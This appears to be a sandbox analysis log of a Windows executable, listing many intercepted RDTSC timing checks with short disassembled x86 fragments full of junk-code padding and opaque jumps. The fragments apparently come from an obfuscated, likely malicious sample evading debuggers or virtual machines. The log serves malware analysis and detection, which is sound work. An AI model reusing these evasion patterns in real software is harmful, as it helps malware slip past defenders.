Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F84D second address: A2F852 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34053 second address: A34058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34058 second address: A34064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FE9A87AE1E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34064 second address: A34068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34068 second address: A34078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCCB1 second address: 9D959F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push ecx 0x0000000b mov dh, F3h 0x0000000d pop ecx 0x0000000e call dword ptr [ebp+122D1B21h] 0x00000014 pushad 0x00000015 jbe 00007FE9A9298658h 0x0000001b pushad 0x0000001c jmp 00007FE9A9298664h 0x00000021 jmp 00007FE9A9298665h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCD55 second address: 9FCD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD22C second address: 9FD230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD37C second address: 9FD380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD457 second address: 9FD45D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD45D second address: 9FD461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD461 second address: 9FD465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDA86 second address: 9FDA93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDA93 second address: 9FDA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDA97 second address: 9FDA9D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDA9D second address: 9FDAA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE9A9298656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDAA7 second address: 9FDAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDAAB second address: 9FDAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jnp 00007FE9A929866Ch 0x0000000f call 00007FE9A9298660h 0x00000014 mov ecx, 52E85605h 0x00000019 pop ecx 0x0000001a push 0000001Eh 0x0000001c stc 0x0000001d pushad 0x0000001e movsx eax, bx 0x00000021 mov dx, ax 0x00000024 popad 0x00000025 push eax 0x00000026 jo 00007FE9A9298662h 0x0000002c ja 00007FE9A929865Ch 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDBEE second address: 9FDC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDE9F second address: 9FDEEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE9A929865Fh 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D2EF1h], ecx 0x00000016 movzx edx, cx 0x00000019 lea eax, dword ptr [ebp+1248EA78h] 0x0000001f mov edi, 03A41121h 0x00000024 jnc 00007FE9A9298657h 0x0000002a push eax 0x0000002b push edi 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDEEB second address: 9FDEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDEEF second address: 9FDF61 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FE9A9298658h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 lea eax, dword ptr [ebp+1248EA34h] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007FE9A9298658h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 pushad 0x00000045 jmp 00007FE9A9298662h 0x0000004a mov dx, CD01h 0x0000004e popad 0x0000004f nop 0x00000050 pushad 0x00000051 pushad 0x00000052 push edx 0x00000053 pop edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33413 second address: A3344A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE9A87AE1F5h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FE9A87AE1EAh 0x00000013 jmp 00007FE9A87AE1F0h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3344A second address: A3344F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3344F second address: A33455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33455 second address: A33475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A9298667h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33475 second address: A33479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33722 second address: A33744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE9A929866Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33744 second address: A3379E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F3h 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a je 00007FE9A87AE1E6h 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FE9A87AE1F0h 0x0000001b jmp 00007FE9A87AE1F4h 0x00000020 push edx 0x00000021 pop edx 0x00000022 popad 0x00000023 jmp 00007FE9A87AE1EFh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3379E second address: A337B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298666h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A337B9 second address: A337BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D08B second address: A3D08F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D289 second address: A3D291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D59D second address: A3D5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FE9A9298656h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D5AE second address: A3D5B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D5B4 second address: A3D5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FE9A929866Ch 0x0000000c jmp 00007FE9A9298666h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D5DA second address: A3D5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D5DE second address: A3D5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D8CB second address: A3D8D5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE9A87AE1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D8D5 second address: A3D8E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE9A9298656h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D8E1 second address: A3D8FF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FE9A87AE1E8h 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007FE9A87AE1ECh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D8FF second address: A3D905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DA5A second address: A3DA67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FE9A87AE1E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DA67 second address: A3DA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE9A9298656h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jbe 00007FE9A929865Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FE9A9298656h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DA8B second address: A3DA8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DD37 second address: A3DD41 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE9A929865Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE8F second address: A3DE95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40E5E second address: A40E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40E67 second address: A40E6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40935 second address: A4094C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE9A9298656h 0x0000000a pop edx 0x0000000b jne 00007FE9A929865Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4094C second address: A40967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F1h 0x00000007 jbe 00007FE9A87AE1F2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40967 second address: A40978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE9A9298656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40978 second address: A409A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1F0h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FE9A87AE1F5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A409A7 second address: A409AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40AF6 second address: A40AFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40AFA second address: A40B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40B00 second address: A40B05 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A40B05 second address: A40B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43E72 second address: A43E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE9A87AE1F9h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43B0E second address: A43B4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE9A9298663h 0x00000010 jmp 00007FE9A9298662h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A461FC second address: A46227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A87AE1EFh 0x00000009 popad 0x0000000a push ecx 0x0000000b jmp 00007FE9A87AE1F2h 0x00000010 pop ecx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49032 second address: A49036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49036 second address: A49040 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE9A87AE1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49040 second address: A49058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FE9A9298656h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FE9A9298656h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49058 second address: A4905C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4905C second address: A49060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D3AE second address: A4D3C9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE9A87AE1E6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jno 00007FE9A87AE1E6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C6F8 second address: A4C6FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C6FE second address: A4C70E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C70E second address: A4C729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FE9A9298656h 0x0000000e jmp 00007FE9A929865Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C729 second address: A4C72D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CC6A second address: A4CC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CDE7 second address: A4CDF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE9A87AE1ECh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CDF9 second address: A4CE0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9A929865Bh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CE0A second address: A4CE1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE9A87AE1EAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CE1D second address: A4CE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CF42 second address: A4CF47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CF47 second address: A4CF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D24 second address: A51D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D28 second address: A51D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A51D2E second address: A51D35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD8C6 second address: 9FD8CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A52275 second address: A5228D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D517 second address: A5D521 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5D521 second address: A5D53A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B578 second address: A5B57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B57C second address: A5B580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B580 second address: A5B5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE9A9298668h 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jns 00007FE9A9298656h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FE9A9298660h 0x0000001f popad 0x00000020 jmp 00007FE9A9298669h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B5DA second address: A5B5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B5E0 second address: A5B5F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A929865Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B746 second address: A5B74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B8BF second address: A5B8C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B8C5 second address: A5B8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BBAC second address: A5BBC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A929865Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5BBC3 second address: A5BBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C654 second address: A5C662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007FE9A9298656h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C662 second address: A5C66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C66A second address: A5C670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5C975 second address: A5C97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE9A87AE1E6h 0x0000000a rdtsc
